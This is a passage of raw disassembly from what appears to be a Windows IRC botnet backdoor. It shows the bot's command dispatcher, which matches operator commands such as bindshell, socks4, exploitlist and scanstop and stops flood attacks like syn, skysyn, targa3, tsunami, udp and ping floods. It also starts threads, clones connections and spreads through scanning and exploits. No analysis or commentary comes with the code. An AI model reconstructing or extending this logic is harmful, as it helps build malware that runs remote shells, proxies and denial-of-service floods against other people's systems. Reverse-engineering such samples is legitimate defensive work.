		mov	ecx, [ebp+var_19FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	loc_4023CA


loc_40228C:				; CODE XREF: sub_401ACD+7D3j
		cmp	[ebp+var_19F0],	ebx
		jnz	loc_4082DE
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_40228C
; ---------------------------------------------------------------------------


loc_4022A2:				; CODE XREF: sub_401ACD+65Fj
					; sub_401ACD+675j
		push	[ebp+var_8C]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022BB
		mov	[ebp+var_4], 1


loc_4022BB:				; CODE XREF: sub_401ACD+7E5j
		cmp	[ebp+var_88], ebx
		jz	loc_401F75
		push	offset dword_42CC80
		push	[ebp+var_88]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022E2
		cmp	[ebp+var_4], ebx
		jz	short loc_4022EE


loc_4022E2:				; CODE XREF: sub_401ACD+80Ej
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_4022EE:				; CODE XREF: sub_401ACD+813j
		cmp	[ebp+var_84], ebx
		jz	loc_401F75
		inc	[ebp+var_84]
		jz	short loc_40233A
		cmp	[ebp+arg_10], ebx
		jz	short loc_40233A
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41C850
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_402340
; ---------------------------------------------------------------------------


loc_40233A:				; CODE XREF: sub_401ACD+833j
					; sub_401ACD+838j
		mov	esi, [ebp+var_AC]


loc_402340:				; CODE XREF: sub_401ACD+86Bj
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401F75
		push	edi
		push	offset dword_42CC74
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402160
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40238B
		mov	eax, dword_4CB888
		mov	eax, off_429160[eax*4]
		cmp	[eax], bl
		jz	short loc_40238B
		push	eax
		push	ecx
		push	offset dword_42CC58
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_40238B:				; CODE XREF: sub_401ACD+8A0j
					; sub_401ACD+8B0j
		push	edi
		push	offset dword_42CC50
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402160
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_402160
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_402160
		push	eax
		push	ecx
		push	offset dword_42CC38
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_4023CA:				; CODE XREF: sub_401ACD+7B9j
					; sub_401ACD+76B7j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CBFC
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_4023DB:				; CODE XREF: sub_401ACD+6DDj
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42CBB8


loc_4023EE:				; CODE XREF: sub_401ACD+7C19j
					; sub_401ACD+7C80j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 10h
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_402402:				; CODE XREF: sub_401ACD+6D1j
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402551
		cmp	[ebp+var_A4], ebx
		jz	loc_40252A
		push	1Bh
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_402519
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AAC]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41C266
		push	[ebp+esi+var_80]
		call	sub_41C159
		mov	[ebp+var_2914],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB4],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2994]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_290C],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2908],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CB90
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_2910],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB4]
		push	ebx
		push	eax
		push	offset sub_416000
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_2910]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_402508


loc_4024F2:				; CODE XREF: sub_401ACD+A39j
		cmp	[ebp+var_2904],	ebx
		jnz	loc_4082DE
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_4024F2
; ---------------------------------------------------------------------------


loc_402508:				; CODE XREF: sub_401ACD+A23j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42CB58
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_402519:				; CODE XREF: sub_401ACD+966j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CB28
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_40252A:				; CODE XREF: sub_401ACD+956j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CAF4
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_40253B:				; CODE XREF: sub_401ACD+6B6j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401F75


loc_402551:				; CODE XREF: sub_401ACD+94Aj
		mov	edi, [edi]
		push	edi
		push	offset aC	; "c"
		mov	[ebp+arg_8], edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964C
		push	edi
		push	offset aK	; "k"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025A2
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644


loc_4025A2:				; CODE XREF: sub_401ACD+AB9j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409644
		xor	edi, edi
		cmp	dword_4294CC, ebx
		jle	loc_402757
		mov	[ebp+arg_20], offset dword_43DB90


loc_4025C0:				; CODE XREF: sub_401ACD+B12j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4025E6
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4294CC
		jl	short loc_4025C0
		jmp	loc_402757
; ---------------------------------------------------------------------------


loc_4025E6:				; CODE XREF: sub_401ACD+B02j
		push	offset asc_42CDC4 ; " :"
		push	[ebp+arg_0]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F75
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43DBA8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_40263B:				; CODE XREF: sub_401ACD+C1Fj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026A7
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026A7
		lea	eax, dword_43DB90[edi]
		push	eax
		call	sub_41B9C0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026E2
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026E2
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 0Ch
		jmp	short loc_4026E2
; ---------------------------------------------------------------------------


loc_4026A7:				; CODE XREF: sub_401ACD+B96j
					; sub_401ACD+B9Dj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026E2
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 18h


loc_4026E2:				; CODE XREF: sub_401ACD+BAFj
					; sub_401ACD+BC3j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40263B
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_4026FF:				; CODE XREF: sub_401ACD+C7Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD	; "$%d"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_402742
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_402742
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 0Ch


loc_402742:				; CODE XREF: sub_401ACD+C5Aj
					; sub_401ACD+C60j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_4026FF
		mov	[ebp+var_2C8], 1


loc_402757:				; CODE XREF: sub_401ACD+AE6j
					; sub_401ACD+B14j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_402770
		cmp	[ebp+var_2C8], ebx
		jz	loc_402961


loc_402770:				; CODE XREF: sub_401ACD+C95j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_41843B
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_41843B
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_41843B
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE84
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_41843B
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_41843B
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h


loc_4027E2:				; CODE XREF: sub_401ACD+E0Dj
		test	eax, eax
		jz	loc_4028DF
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_A0]
		push	offset asc_42CAAC ; ")"
		push	eax
		call	sub_41CAD4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_40282E
		cmp	[ebp+var_A0], 39h
		jle	short loc_402844


loc_40282E:				; CODE XREF: sub_401ACD+D56j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_402844:				; CODE XREF: sub_401ACD+D5Fj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	short loc_40286A
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_40287E
; ---------------------------------------------------------------------------


loc_40286A:				; CODE XREF: sub_401ACD+D86j
		call	sub_41C2C2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_40287E:				; CODE XREF: sub_401ACD+D9Bj
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41B9C0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 30h
		jmp	loc_4027E2
; ---------------------------------------------------------------------------


loc_4028DF:				; CODE XREF: sub_401ACD+D17j
		mov	edi, 1FFh
		lea	eax, [ebp+var_428C]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_428C]
		push	edi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_4EF8]
		push	offset asc_42CDC0 ; " "
		push	eax
		call	sub_41CAD4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40292F:				; CODE XREF: sub_401ACD+E77j
		push	offset asc_42CDC0 ; " "
		push	ebx
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40292F
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401F75
		add	ecx, 3
		mov	[eax], ecx


loc_402961:				; CODE XREF: sub_401ACD+C9Dj
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F2
		push	edi
		push	offset aRn	; "rn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F2
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049B3
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049B3
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404911
		push	edi
		push	offset aLo	; "lo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404911
		push	edi
		push	offset aVersion	; "version"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aVer	; "ver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aRulez	; "rulez"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048F8
		push	edi
		push	offset aRz	; "rz"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048F8
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048DF
		push	edi
		push	offset aSt	; "st"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048DF
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aSec	; "sec"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DB
		push	edi
		push	offset aBd	; "bd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DB
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B0E
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42CA08
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B0E:				; CODE XREF: sub_401ACD+1027j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B9
		push	edi
		push	offset aS4	; "s4"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B9
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B61
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9E0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B61:				; CODE XREF: sub_401ACD+107Aj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B8A
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9C4
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B8A:				; CODE XREF: sub_401ACD+10A3j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB3
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9A8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402BB3:				; CODE XREF: sub_401ACD+10CCj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BDC
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C994
		push	offset dword_42C988
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402BDC:				; CODE XREF: sub_401ACD+10F5j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C05
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C968
		push	offset dword_42C958
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C05:				; CODE XREF: sub_401ACD+111Ej
		push	edi
		push	offset dword_42C94C
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C2E
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C940
		push	offset dword_42C934
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C2E:				; CODE XREF: sub_401ACD+1147j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C57
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C920
		push	offset dword_42C914
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C57:				; CODE XREF: sub_401ACD+1170j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C80
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C8F8
		push	offset dword_42C8E8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C80:				; CODE XREF: sub_401ACD+1199j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CA9
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C8CC
		push	offset dword_42C8BC
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402CA9:				; CODE XREF: sub_401ACD+11C2j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD2
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C8A4
		push	offset dword_42C898
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402CD2:				; CODE XREF: sub_401ACD+11EBj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E28
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C940
		push	offset dword_42C934
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	0Eh
		push	offset dword_42C920
		push	offset dword_42C914
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C880
		push	offset dword_42C874
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	16h
		push	offset dword_42C868
		push	offset dword_42C85C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C8CC
		push	offset dword_42C8BC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	12h
		push	offset dword_42C8A4
		push	offset dword_42C898
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C84C
		push	offset dword_42C83C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	13h
		push	offset dword_42C82C
		push	offset dword_42C81C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C8F8
		push	offset dword_42C8E8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C7E8
		push	[ebp+var_88]
		push	edi
		call	sub_409869
		add	esp, 34h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_402E28:				; CODE XREF: sub_401ACD+1214j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E51
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C84C
		push	offset dword_42C83C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402E51:				; CODE XREF: sub_401ACD+136Aj
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E7A
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C82C
		push	offset dword_42C81C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402E7A:				; CODE XREF: sub_401ACD+1393j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA3
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C880
		push	offset dword_42C874
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402EA3:				; CODE XREF: sub_401ACD+13BCj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ECC
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C868
		push	offset dword_42C85C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402ECC:				; CODE XREF: sub_401ACD+13E5j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EF5
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C7A0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402EF5:				; CODE XREF: sub_401ACD+140Ej
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F72
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C750
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402F72:				; CODE XREF: sub_401ACD+148Bj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F9B
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C72C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402F9B:				; CODE XREF: sub_401ACD+14B4j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FC4
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C70C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402FC4:				; CODE XREF: sub_401ACD+14DDj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aStats	; "stats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404547
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404547
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404531
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404531
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404512
		push	edi
		push	offset aR	; "r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404512
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044F0
		push	edi
		push	offset aDc	; "dc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044F0
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A8
		push	edi
		push	offset aQ	; "q"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A8
		push	edi
		push	offset aStatus	; "status"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404494
		push	edi
		push	offset aS_1	; "s"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404494
		push	edi
		push	offset aId	; "id"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40445D
		push	edi
		push	offset aI	; "i"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40445D
		push	edi
		push	offset aR3start	; "r3start"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
